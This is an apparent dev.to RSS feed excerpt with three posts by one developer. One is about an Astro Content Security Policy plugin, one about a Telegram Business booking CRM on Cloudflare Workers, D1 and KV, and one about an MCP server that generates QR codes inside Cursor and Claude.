&lt;strong&gt;Phase 3:&lt;/strong&gt; SHA-384 Subresource Integrity (&lt;code&gt;integrity&lt;/code&gt;) injection for all local scripts and stylesheets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Phase 4:&lt;/strong&gt; Strict Content Security Policy generation.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Only pages where &lt;code&gt;modified === true&lt;/code&gt; are written back to disk in a single final pass.&lt;/p&gt;




&lt;h3&gt;
  
  
  8. W3C &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; CSP vs. HTTP Header Spec Divergence
&lt;/h3&gt;

&lt;p&gt;Finally, there is an annoying specification split in W3C CSP Level 3. While HTTP response headers support the full CSP specification, the W3C explicitly forbids several directives inside HTML &lt;code&gt;&amp;lt;meta http-equiv="Content-Security-Policy"&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;frame-ancestors&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;report-uri&lt;/code&gt; / &lt;code&gt;report-to&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sandbox&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you include &lt;code&gt;frame-ancestors 'none'&lt;/code&gt; inside a &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag, browsers ignore it and flood the DevTools console with spec violation warnings.&lt;/p&gt;

&lt;p&gt;To handle both static hosting environments and edge CDNs cleanly, &lt;code&gt;astro-strict-csp&lt;/code&gt; generates dual policies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It automatically strips forbidden directives (&lt;code&gt;frame-ancestors&lt;/code&gt;, &lt;code&gt;report-uri&lt;/code&gt;, &lt;code&gt;sandbox&lt;/code&gt;) when injecting the &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag into HTML files.&lt;/li&gt;
&lt;li&gt;It preserves the complete, unstripped policy (including &lt;code&gt;frame-ancestors 'none'&lt;/code&gt;) when writing &lt;code&gt;dist/_headers&lt;/code&gt; for Cloudflare Pages and Netlify.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Installing It in Your Astro Project
&lt;/h3&gt;

&lt;p&gt;If you want to lock down your Astro project without manually chasing Shiki styles or script hashes, install the package:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;astro-strict-csp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And add it to your &lt;code&gt;astro.config.mjs&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;defineConfig&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;astro/config&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;strictCsp&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;astro-strict-csp&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;integrations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="nf"&gt;strictCsp&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The package is open source and live on &lt;a href="https://www.npmjs.com/package/astro-strict-csp" rel="noopener noreferrer"&gt;npm (&lt;code&gt;astro-strict-csp&lt;/code&gt;)&lt;/a&gt; and &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp" rel="noopener noreferrer"&gt;GitHub (&lt;code&gt;Evgenii-Zinner/astro-strict-csp&lt;/code&gt;)&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;HTML and CSP edge cases in the wild are endless—if you run into a quirky Astro component, a weird third-party script, or have an idea for a new option, please &lt;a href="https://github.com/Evgenii-Zinner/astro-strict-csp/issues" rel="noopener noreferrer"&gt;open an issue, bug report, or feature request on GitHub&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>astro</category>
      <category>csp</category>
      <category>security</category>
      <category>webdev</category>
    </item>
    <item>
      <title>How I Built an Invisible Telegram CRM for My Girlfriend's Nail Studio on Cloudflare Workers, D1, and KV</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Mon, 17 Aug 2026 12:20:24 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/how-i-built-an-invisible-telegram-crm-for-my-girlfriends-nail-studio-on-cloudflare-workers-d1-1338</link>
      <guid>https://dev.to/evgenii_zinner/how-i-built-an-invisible-telegram-crm-for-my-girlfriends-nail-studio-on-cloudflare-workers-d1-1338</guid>
      <description>&lt;p&gt;A few months ago, my girlfriend Anna started running into a bottleneck that hits almost every solo service business: managing client bookings manually over personal chat was eating up hours of her day.&lt;/p&gt;

&lt;p&gt;Instead of signing up for an off-the-shelf booking SaaS with clunky external forms or hacking together an expensive LLM bot, I built a lightweight, serverless CRM that runs directly inside Telegram Business. It uses Cloudflare Workers, D1 (edge SQLite), KV, and a vanilla TypeScript Mini App.&lt;/p&gt;

&lt;p&gt;The system processes bookings deterministically in under a millisecond, costs practically zero to run, and works silently inside normal client conversations without slash commands or bot menus.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Real-World Friction: Lost Leads, Ghost Clients, and Calendar Juggling
&lt;/h2&gt;

&lt;p&gt;On paper, running a private manicure studio is simple: do great nails, get booked, get paid. In reality, handling bookings through direct messages gets messy fast.&lt;/p&gt;

&lt;p&gt;When you run local ads, inquiries land at all hours. People message asking for prices or open dates while Anna is in the middle of a 3-hour gel set, working out, or asleep. When an inquiry sits unanswered for two hours, potential clients just move to the next salon on Instagram. If you're paying for traffic, slow response times directly burn your ad budget.&lt;/p&gt;

&lt;p&gt;Once a conversation starts, two bigger headaches appear:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Constant Context Switching&lt;/strong&gt;: Scheduling meant constantly jumping out of Telegram into Google Calendar, checking open slots, typing out times, waiting for replies, hopping back to block the slot, and setting manual reminders. Doing this across 20+ active chats a day destroys your focus.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The "Ghost Client" Problem&lt;/strong&gt;: Telegram lets users wipe entire chat histories for both sides with a single tap. Problematic clients would book prime Saturday slots, no-show, and immediately delete the chat. Two weeks later, they'd message again as if nothing happened. Because the conversation history was gone, Anna had no way to track repeat offenders.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The initial plan was modest: set up a quick auto-responder to send a price list photo album when Anna was away so new leads wouldn't bounce.&lt;/p&gt;

&lt;p&gt;Once I started digging into the Telegram Business API, though, I realized we could do much more. We could turn the bot into an invisible assistant that sits directly on top of her normal conversations—logging client history, detecting double-bookings, and rendering an in-app daily schedule.&lt;/p&gt;




&lt;h2&gt;
  
  
  How Telegram Business Connected Bots Change the UX
&lt;/h2&gt;

&lt;p&gt;Most Telegram bots require clients to search for a bot handle (&lt;code&gt;@my_salon_bot&lt;/code&gt;), click &lt;strong&gt;Start&lt;/strong&gt;, and tap through interactive menus. That works for large businesses, but for a private service master, it feels impersonal. Clients want to feel like they are talking directly to the artist.&lt;/p&gt;

&lt;p&gt;With Telegram Business Connected Bots, the integration connects directly to Anna’s personal Telegram account.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5oywmhih99xc9kya9zm0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5oywmhih99xc9kya9zm0.png" alt="Process" width="799" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From the client's perspective, it's just a normal conversation with Anna. Behind the scenes, the Cloudflare Worker intercepts incoming webhook events to handle the background logic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If a new lead asks for pricing while Anna is busy, the bot automatically drops a friendly greeting and the price list.&lt;/li&gt;
&lt;li&gt;When Anna types a routine confirmation like &lt;em&gt;"Booked for tomorrow at 3:00 PM, manicure with removal, 2.5h, $55"&lt;/em&gt;, the bot parses the message, creates a database record, checks for calendar overlaps, and calculates her rest window.&lt;/li&gt;
&lt;li&gt;The client never sees command prompts, raw bot messages, or awkward third-party links.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Architectural Separation: Relational Storage (D1) vs. Ephemeral State (KV)
&lt;/h2&gt;

&lt;p&gt;A common mistake with chat automations is trying to shove everything into a single database, or relying entirely on in-memory state that disappears whenever a serverless container spins down.&lt;/p&gt;

&lt;p&gt;Pairing Cloudflare D1 with Cloudflare KV gives a clean split based on data lifecycle:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyat5teuelzt3ny2304en.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyat5teuelzt3ny2304en.png" alt="Data locations" width="800" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Cloudflare D1 for Persistent CRM History
&lt;/h3&gt;

&lt;p&gt;D1 holds everything that must persist indefinitely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Client Records&lt;/strong&gt;: Maps immutable Telegram user IDs to names, phone numbers, lifetime spend, visit counts, and no-show flags. Even if a client wipes the chat history, their record in D1 remains untouched. If a serial no-show reaches out again, the bot immediately flags them in Anna’s private notes so she can require a 50% non-refundable deposit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Appointment Ledger&lt;/strong&gt;: Stores timestamps, durations, services, prices, payment methods, and statuses (&lt;code&gt;CONFIRMED&lt;/code&gt;, &lt;code&gt;PENDING_REMINDER&lt;/code&gt;, &lt;code&gt;NO_SHOW&lt;/code&gt;, &lt;code&gt;COMPLETED&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Config &amp;amp; Media Cache&lt;/strong&gt;: Stores working hours, buffer preferences, and cached Telegram &lt;code&gt;file_id&lt;/code&gt; strings so the bot doesn't waste bandwidth re-uploading media over webhooks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Cloudflare KV for Ephemeral Coordination
&lt;/h3&gt;

&lt;p&gt;KV handles short-lived state where built-in Time-To-Live (TTL) auto-expiration eliminates the need for cleanup jobs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Active Master Cooldown (&lt;code&gt;interaction:{chatId}:ANYA_ACTIVITY&lt;/code&gt;, 1-hour TTL)&lt;/strong&gt;: Whenever Anna sends a manual message in any chat, the Worker writes this key. For the next 60 minutes, the bot stays completely quiet in that chat. This guarantees the bot never talks over Anna while she is actively texting a client.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anti-Spam Throttling (&lt;code&gt;interaction:{chatId}:GREETING&lt;/code&gt;, 2-hour TTL)&lt;/strong&gt;: Prevents duplicate greeting messages if an undecided client sends four short texts in a row.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Live Digest Pointers (&lt;code&gt;appt_digest_key:{apptId}&lt;/code&gt;, 12-hour TTL)&lt;/strong&gt;: When the morning reminder cron runs, it maps each appointment ID back to a single summary message sent to Anna's private chat. When a client confirms via button, the Worker updates the existing summary message in place instead of spamming her with new notifications.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Deterministic Parsing: Why I Skipped LLMs
&lt;/h2&gt;

&lt;p&gt;When developers hear "parse natural language chat messages," the default reaction is to reach for OpenAI or Claude. For this use case, calling an LLM on every incoming message was the wrong move:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cost&lt;/strong&gt;: Running an LLM across every message in dozens of active chats adds up fast.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Latency&lt;/strong&gt;: External LLM calls add 1 to 3 seconds of overhead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reliability&lt;/strong&gt;: Generative models can hallucinate dates, drop numbers, or subtly misinterpret prices.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because booking confirmations follow predictable phrasing, the parser runs entirely on deterministic regex and simple date arithmetic inside the Worker in under 1 millisecond.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Affirmative Verb Gating
&lt;/h3&gt;

&lt;p&gt;To make sure the bot doesn't accidentally record a booking when Anna is just discussing availability, the parser requires an affirmative confirmation keyword (e.g., &lt;em&gt;Booked&lt;/em&gt;, &lt;em&gt;Scheduled&lt;/em&gt;, &lt;em&gt;Reserved&lt;/em&gt;, &lt;em&gt;Set&lt;/em&gt;). &lt;/p&gt;

&lt;p&gt;Phrases containing exploratory words (&lt;em&gt;can do&lt;/em&gt;, &lt;em&gt;open slots&lt;/em&gt;, &lt;em&gt;what time works&lt;/em&gt;) are ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Time, Date, and Duration Normalization
&lt;/h3&gt;

&lt;p&gt;The parser handles conversational variations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Times&lt;/strong&gt;: Converts standard 24h formats (&lt;code&gt;15:30&lt;/code&gt;, &lt;code&gt;14.00&lt;/code&gt;) as well as relative conversational hours (turning afternoon single digits like &lt;code&gt;3&lt;/code&gt; or &lt;code&gt;5&lt;/code&gt; into &lt;code&gt;15:00&lt;/code&gt; and &lt;code&gt;17:00&lt;/code&gt;, while preserving &lt;code&gt;10&lt;/code&gt; and &lt;code&gt;11&lt;/code&gt; as morning slots).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dates&lt;/strong&gt;: Resolves relative terms (&lt;code&gt;today&lt;/code&gt;, &lt;code&gt;tomorrow&lt;/code&gt;, &lt;code&gt;day after tomorrow&lt;/code&gt;), ordinal suffixes (&lt;code&gt;26th&lt;/code&gt;, &lt;code&gt;28th&lt;/code&gt;), and weekdays (&lt;code&gt;this Friday&lt;/code&gt;, &lt;code&gt;next Monday&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Durations&lt;/strong&gt;: Extracts explicit values (&lt;code&gt;2.5h&lt;/code&gt;, &lt;code&gt;2h 30min&lt;/code&gt;, &lt;code&gt;90 min&lt;/code&gt;), falling back to default durations per service.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pricing&lt;/strong&gt;: Normalizes mixed notation (&lt;code&gt;$55&lt;/code&gt;, &lt;code&gt;55$&lt;/code&gt;, &lt;code&gt;55 usd&lt;/code&gt;, &lt;code&gt;55 bucks&lt;/code&gt;, or raw numbers like &lt;code&gt;55&lt;/code&gt;) into clean integer values.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Overlap Detection and Break Calculations
&lt;/h2&gt;

&lt;p&gt;Once an appointment is parsed, the engine checks whether the slot conflicts with existing bookings and calculates the downtime between clients.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdvn83l56il90h8i50vz9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdvn83l56il90h8i50vz9.png" alt="Overlaping logic" width="720" height="355"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If an overlap is detected, the Worker sends an alert directly to Anna's private chat:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;🚨 WARNING: Time overlap with Client A (11:00 AM - 1:30 PM)!&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the slot is clear, it calculates the rest gap until the next client. If that gap matches or exceeds her buffer setting (e.g., 30 minutes), it logs the confirmation:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;✅ Booking saved: August 26 at 2:15 PM. ☕ Rest window until next client: 45 min.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  In-Chat Timeline via Telegram Mini App
&lt;/h2&gt;

&lt;p&gt;To eliminate switching between Telegram and Google Calendar, Anna can open her full daily schedule directly inside Telegram via a lightweight Mini App.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffpk0kwi52vg2kq7rsq2d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffpk0kwi52vg2kq7rsq2d.png" alt="UI Screenshot" width="367" height="844"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Instead of bringing in React, Vue, or build tooling, the Mini App is a single-file TypeScript template. The HTML, CSS, and client-side JS are inlined straight into Worker memory and served as a cached single-page app (&lt;code&gt;/app&lt;/code&gt;).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CSS Grid Timeline&lt;/strong&gt;: A clean vertical grid for the day (08:00 to 22:00).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dynamic Offsets&lt;/strong&gt;: Minimal vanilla JS calculates the exact pixel height and top margin for appointment blocks based on start time and duration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication&lt;/strong&gt;: Requests pass &lt;code&gt;window.Telegram.WebApp.initData&lt;/code&gt;. The Worker verifies the HMAC-SHA256 signature against the bot token, ensuring only Anna can access the view.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Interactive 24-Hour Reminders with In-Place Updates
&lt;/h2&gt;

&lt;p&gt;Checking next-day appointments and texting reminders used to take 20 minutes every morning. Now, a Cloudflare Cron Trigger runs daily at 11:00 AM local time (&lt;code&gt;0 4 * * *&lt;/code&gt; UTC).&lt;/p&gt;

&lt;h3&gt;
  
  
  Client Reminders
&lt;/h3&gt;

&lt;p&gt;The cron pulls confirmed bookings for the next day and sends interactive inline buttons to each client:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Hi! Just reminding you about our appointment tomorrow (August 18) at 2:00 PM for Manicure + Removal 💅"&lt;/em&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;[ ✅ I will be on time ]   [ 🔄 Reschedule ]   [ ❌ Can't make it ]&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Updating the Daily Digest Without Notification Spam
&lt;/h3&gt;

&lt;p&gt;When reminders go out, the bot also sends Anna a consolidated morning digest:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;📅 Tomorrow's Schedule (August 18):&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;❓ 10:00 AM — Alina (Manicure + Removal) (Waiting for reply)&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;❓ 2:00 PM — Katya (Pedicure) (Waiting for reply)&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The Worker saves this digest to KV (&lt;code&gt;daily_digest:{timestamp}&lt;/code&gt;) and creates pointer keys for each appointment (&lt;code&gt;appt_digest_key:{apptId}&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;When a client taps &lt;code&gt;[ ✅ I will be on time ]&lt;/code&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The webhook reads &lt;code&gt;appt_digest_key:{apptId}&lt;/code&gt; to find the message ID.&lt;/li&gt;
&lt;li&gt;It flips that client's icon from &lt;code&gt;❓&lt;/code&gt; to &lt;code&gt;✅&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;It calls Telegram’s &lt;code&gt;editMessageText&lt;/code&gt; API to update the digest message in place.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Anna can check her morning summary at any point during the day and see real-time updates without her phone buzzing every time someone confirms.&lt;/p&gt;




&lt;h2&gt;
  
  
  External Calendar Sync with ETag Caching
&lt;/h2&gt;

&lt;p&gt;For instances where Anna wants her schedule synced to a desktop calendar app, the Worker exposes an RFC 5545 &lt;code&gt;.ics&lt;/code&gt; feed over &lt;code&gt;webcal://&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;External calendar clients poll feeds aggressively, which can trigger unnecessary D1 reads. To keep overhead minimal, the endpoint generates an ETag based on the active booking count and the most recent modification timestamp:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ETag: "{appointmentCount}_{latestModifiedTimestamp}"&lt;/code&gt; (e.g. &lt;code&gt;"14_1723982400000"&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;When a client polls with a matching &lt;code&gt;If-None-Match&lt;/code&gt; header, the Worker immediately responds with &lt;code&gt;304 Not Modified&lt;/code&gt;, skipping data serialization and body transfer completely.&lt;/p&gt;




&lt;h2&gt;
  
  
  Wrap-Up
&lt;/h2&gt;

&lt;p&gt;Building this setup reinforced a few practical rules for indie edge tools:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Keep users in their existing workflow&lt;/strong&gt;: Building on top of Telegram Business meant Anna and her clients didn't have to learn a new app or deal with third-party booking portals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Right tool for the right lifespan&lt;/strong&gt;: D1 handles permanent relational records (clients, revenue, history), while KV handles short-lived state (cooldowns, message pointers) with zero manual cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't overcomplicate with AI when deterministic rules work&lt;/strong&gt;: A few well-crafted regex patterns run in under a millisecond, cost nothing, and don't hallucinate dates or prices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lean frontends on the edge&lt;/strong&gt;: Serving vanilla TypeScript and CSS straight from edge memory gives sub-100ms load times without managing client-side build pipelines.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>webdev</category>
      <category>automation</category>
      <category>architecture</category>
    </item>
    <item>
      <title>MCP Server to generate custom QR codes directly in Cursor and Claude</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Mon, 20 Jul 2026 05:39:29 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/mcp-server-to-generate-custom-qr-codes-directly-in-cursor-and-claude-1cmf</link>
      <guid>https://dev.to/evgenii_zinner/mcp-server-to-generate-custom-qr-codes-directly-in-cursor-and-claude-1cmf</guid>
      <description>&lt;p&gt;If you use Cursor, Claude Desktop, or Cline as your daily driver, you know how annoying it is to leave your editor just to generate simple project assets. &lt;/p&gt;

&lt;p&gt;Last week, I was testing print layouts for a physical marketing project that needed scannable codes. I was tired of opening browser tabs, fighting spammy online generators that lock vector downloads behind paywalls, or getting forced into a subscription just to get an SVG.&lt;/p&gt;

&lt;p&gt;So, I built an MCP (Model Context Protocol) server for my &lt;a href="https://ez-qr-generator.com" rel="noopener noreferrer"&gt;QR Generator&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Now, my AI assistant can generate high-resolution, customized QR codes (including clean vectors, custom shapes, and embedded logos) directly inside my IDE.&lt;/p&gt;

&lt;p&gt;Here is how it works, what it does, and how to hook it up to your environment.&lt;/p&gt;




&lt;h3&gt;
  
  
  What it does (and why standard PNGs suck)
&lt;/h3&gt;

&lt;p&gt;Most basic QR generators output low-resolution PNGs. If you try to print them on packaging or signage, they pixelate and scan terribly under bad lighting. &lt;/p&gt;

&lt;p&gt;To solve this, the MCP server exposes a single, highly flexible tool: &lt;code&gt;generate_qr_code&lt;/code&gt;. It lets you control:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Format:&lt;/strong&gt; Choose between standard &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;svg&lt;/code&gt; (perfect for print), or raw &lt;code&gt;json&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Design Physics:&lt;/strong&gt; Custom dot styles like &lt;code&gt;circle&lt;/code&gt;, &lt;code&gt;hex&lt;/code&gt; (hexagon), and &lt;code&gt;diamond&lt;/code&gt; instead of boring old squares.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Color &amp;amp; Branding:&lt;/strong&gt; Direct primary hex color mapping (e.g., &lt;code&gt;#00f0ff&lt;/code&gt;) and custom logo uploads inside the data grid.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  Setting it up in your IDE
&lt;/h3&gt;

&lt;p&gt;Because the server runs over Server-Sent Events (SSE) hosted on our cloud backend, you don't need to install local runtimes or configure Python/Node environments. &lt;/p&gt;

&lt;p&gt;To add it to your &lt;strong&gt;Claude Desktop&lt;/strong&gt; or &lt;strong&gt;Cursor&lt;/strong&gt; configuration, open your &lt;code&gt;claude_desktop_config.json&lt;/code&gt; (or your Cursor MCP settings) and paste this snippet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ez-qr-generator"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://ez-qr-generator.com/mcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"transport"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"sse"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once saved, your AI agent will automatically detect the connection.&lt;/p&gt;




&lt;h3&gt;
  
  
  How to use it in practice
&lt;/h3&gt;

&lt;p&gt;You don't need to write any JSON arguments manually. Just tell your assistant what you want in plain English. For example, if you are working in Cursor, you can prompt your agent:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Hey, generate a hexagonal green QR code pointing to &lt;a href="https://ez-qr-generator.com" rel="noopener noreferrer"&gt;https://ez-qr-generator.com&lt;/a&gt; and place it in my assets folder as a SVG."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The assistant calls the server, processes the base64 or SVG output, and writes the file directly to your workspace. No context switching, no signups, and no paywalls.&lt;/p&gt;

&lt;p&gt;If you want to test the raw JSON-RPC endpoint yourself or see the official registry, you can check out the &lt;a href="https://smithery.ai/servers/evgenii-zinner/ez-qr-generator" rel="noopener noreferrer"&gt;Smithery page&lt;/a&gt;. &lt;/p&gt;

